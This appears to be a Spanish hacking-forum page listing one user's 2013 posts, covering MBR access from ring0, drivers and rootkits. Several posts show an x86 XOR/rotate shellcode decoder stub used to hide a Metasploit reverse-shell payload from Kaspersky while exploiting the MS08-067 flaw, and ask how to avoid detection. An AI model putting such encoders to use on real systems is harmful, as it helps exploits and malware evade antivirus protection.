Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - cpu2

#501
ASM / Re: Escribir en MBR
23 Octubre 2013, 18:33 PM
@x64Core

Creo que malinterpretaste mi mensaje, yo no dije que un programador de C/C++ no supiera lo que esta haciendo, solo dije que con ASM te obliga a saber que hacen las instrucciones y los cambios internos en la maquina nada mas, los lenguajes de alto nivel y los libros de estos no me gustan, simplemente es una opinion y gusto personal  nada mas.

Y sobre el compilador y que te gustaria ver esas grandes optimizaciones que escribo, no se si eso ultimo era una ironia...
Podriamos seguir hablando por privado para no desviar este hilo.

@EI

Quiero saber mas sobre la sincronizacion, un ejemplo seria cuando la ethernet a establecido mas de una conexion, yo podria tener ese problema por lo que veo.

Un saludo.
#502
ASM / Re: Escribir en MBR
23 Octubre 2013, 02:24 AM
Cita de: Eternal Idol en 22 Octubre 2013, 22:10 PM
Si podes escribir en el disco como lo hace la BIOS (con ins y outs) pero no tiene sentido, para eso esta el S.O. y los drivers, para abstraer el hardware.

Pues es lo que pretendo en futuros codigos que escriba en ring0, nada de funciones ni de syscall, creare yo las funciones y las comunicaciones de hardware con in y out.

Cita de: x64Core en 22 Octubre 2013, 22:11 PM
@cpu2: He vistov varios post tuyos refiendote a ASM como el unico capaz de hacerlo,  C/C++ se puede hacer el 95-98% de todo
lo que ASM puede hacer en cuanto a escribir codigo. Cuando se habla de este tipo de asuntos, no importa el lenguaje en el se haga,
este tema puede estar en la sección C/C++, Delphi, etc.
aunque generalmente se pone cuando se supone que el lenguaje que se esta usando es ASM como en este caso o a menos que te estes
refiriendo a modo real, aunque a pesar de eso, se podria tener un tema en la sección C/C++ acerca de modo real si tu compilador es capaz
de generar codigo para modo real. Simplemente estoy aclarando.
Además, Para escribir desde modo kernel se mapea la direccion fisica y se escribe.

Si, pero con ASM siempre puedes optimizar al maximo el codigo, y como no saber 100% lo que estas haciendo.

@Vaagish

Bueno creo que con la explicacion de EI es bastante. Del 0x0 - 0x1ff que sumando el ultimo byte son 512 bytes, se cargan en la direccion 0x7c00 si creas algo en ring0 y recorres esta direccion veras que es el mismo codigo que aparecen en los offset del 0x0 - 0x1ff.

Si quieres algun fragmento de la MBR de OpenBSD dimelo, es algo distinta, menos los dos ultimos bytes que seran igual que tu MBR, 0x55,0xaa.

Un saludo.
#503
ASM / Re: Escribir en MBR
22 Octubre 2013, 22:03 PM
Cita de: Eternal Idol en 22 Octubre 2013, 10:13 AM
¿Vos probaste esto? No te olvides que toda la memoria que manejas directamente es virtual (esa que mencionas es una direccion fisica) y no estas trabajando en modo Real sino en modo protegido o largo. Mas alla de esto que es elemental la BIOS lee de un disco la MBR poniendola en MEMORIA RAM, modificar esa memoria no afecta a los datos del disco ...

Me explique fatal, no escribi nunca tampoco tengo la necesidad de hacer algo asi, pero si la e leido en ring0 sin ningun tipo de funcion. Supongo que tambien se podra escribir en esas direcciones, pero lo que tu me dices es que luego se perderan los datos ya que es una direccion virtual.

Cita de: Vaagish en 22 Octubre 2013, 21:04 PM
Por lo que vengo entendiendo, para comunicarse con el disco, lo hace de igual manera que se comunica una aplicación con un driver, no? O es que en realidad estoy llamando a algún driver?
Una duda que tengo con los drivers es si siempre es necesario "hablar" de un dispositivo,, o sea,, los drivers solo sirven para la comunicación con hardware, o puedo ejecutar en un driver una rutina cualquiera? (Hacer alguna cuenta, inyectar algo, etc..)

Creo que si, porque no podrias escribir una rutina strlen o lo que sea, en un controlador. Algunos codigos que e leido son funciones que luego se comunican con los puertos I/O.

Un saludo.
#504
ASM / Re: Escribir en MBR
22 Octubre 2013, 00:55 AM
Tambien tienes la opcion en ASM de usar la direccion 0x7c00, en ring0 claro.

Cualquier cosa de estas que hagas en ring0, podrias compartirla si quieres.

Un saludo.
#505
Alguna sugerencia de como hacerlo? Utilizo el jump y el call para obtener el offset del principio de la shellcode, la mia y casi todas tienen un bucle parecio, por eso estoy un poco frustrado de que no funcione.

Con x64 tendria una idea pero esta es para x86, es x64 cuando haces una syscall esta te devuelve el offset en rcx de la siguiente instruccion, y al principio del programa rcx tiene el offset de inicio de .text, o al menos en OBSD, no seria necesario tomar la direccion porque ya la tengo en rcx.

Y no creo que sea el cifrado, porque como e dicho los hay mas simples y estan catalogados de anti-ids. Bueno lo pondre mejor y si continua saltando es que son los jumps y el call.

Un saludo.

#506
Vale ahora lo entiendo, dios que espeso que estaba es lo que tiene trasnochar.

Un saludo.

P.D: Lo del AES esta dejado aparte de momento, no tengo tiempo, pero creo que seria posible con pshufb de SSSE3.

Edito:

Bueno substitui los saltos y el call por nops, los comprobe uno por uno como dijiste, el AV no salto, pero como era de esperar la shellcode no funciona, en windows salta un error que es este

Generic Host Process for Win32 Services

Es posible que sean los saltos? O es cuando esta se ejecuta correctamente en memoria que la detecta? porque en la transferencia no dijo nada el AV.

Es que de windows no controlo nada, espero que me puedas echar un cable.
#507
Bien que te refieres a algo como esto.

Código (asm) [Seleccionar]
_start:

nop
nop
xorl %ebx, %ebx
movw $0x13a, %bx
jmp _C.0


_C.1:

popl %edx

_C.2:

nop
nop
xorb $0xff, (%edx, %ebx)
rolb (%edx)
decw %bx
jnz _C.2
jmp *%edx

_C.0:

call _C.1


Pero no detectara los nops como una amenaza?

Estoy leyendo un documento llamado x-raying. Tambien podria hacer que el encode en los xor el valor se cambiara, eso estaria mejor no?

Un saludo.
#508
Hola

Bueno lo primero, si el tema no esta en su lugar correcto lo siento, creo que esta mejor aqui porque creo que es un problema de polimorfismo.

Bien estoy practicando los polimorfismo con las shellcodes, estoy haciendo las pruebas en un windows y con metasploit, windows tiene como sistema de seguridad "IDS" Kaspersky internet Security 14, y estoy explotando el tipico 08_067_netapi, bien tengo el siguiente encode.

Código (asm) [Seleccionar]
_start:

xorl %ebx, %ebx
movw $0x13a, %bx
jmp _C.0


_C.1:

popl %edx

_C.2:

xorb $0xff, (%edx, %ebx)
rolb (%edx)
decw %bx
jnz _C.2
jmp *%edx

_C.0:

call _C.1


Si, se puede mejorar sobre todo lo de bx, pero solo me preocupa la deteccion, entro en los sources de metasploit y modifico el payload windows/shell/reverse_tcp con el encode y los valores de Offsets.

Bien cuando tengo el AV desactivado todo bien, pero cuanto esta activado salta, esta es la deteccion.

PDM: Exploit.Win32.Generic

Apllication path: c:\windows\system32\svchost.exe


Hay por la red shellcodes anti-ids con polimorfismos mas simples, y la mia salta.

Pero cuando lanzo el ataque con metasploit marca lo siguientet, aplical su encode cosa que no le dije:

[*] Encoded stage with x86/shikata_ga_n
[*]Sending encoded stage (267 bytes) to 192.168.1.129


Que es problema de metasploit o de mi encode?

Un saludo.

P.D: No quiero hacer nada por hay, simplemente son pruebas, igualmente no me gusta mucho metasploit hace todo el trabajo.
#509
Cita de: Eternal Idol en 12 Octubre 2013, 23:18 PM
Vaagish: practicamente todo el software de seguridad tiene modulos de modo Kernel (AV, firewall, etc.).

Si, tenemos de ejemplo PF y IPsec.

Cita de: Eternal Idol en 12 Octubre 2013, 23:18 PM
No, no entendiste mal, ese es mi punto de vista: idear algun metodo para ocultar puede llegar a tener su merito - que pena que no inviertan su tiempo en software realmente util - pero crear malware per se no lo tiene. En fin, y ni entro en como estan hechos la amplia mayoria de los rootkits para apenas funcionar en una version de Windows ...

Pues la verdad es que tienes razon, simplemente con la palabra chorrada me diste a entender que un malware en ring0 era una tonteria o algo menos complejo que un driver. En vez de crear malware, se tendria que crear software mejor y que pudiera ayudar a otras personas, ese es tu punto de vista por lo que me diste a entender.

Un saludo.
#510
Cita de: Eternal Idol en 11 Octubre 2013, 00:55 AM
Y si, si queres hacer modulos de modo Kernel de verdad y no chorradas de malware, vas a necesitar invertir mucho tiempo.

Creo que te entendi mal, un malware estilo rootkit en ring0 es una chorrada?

Podrias explicarlo mejor?

Un saludo.

P.D: Cuando quieras usuario Vaagish.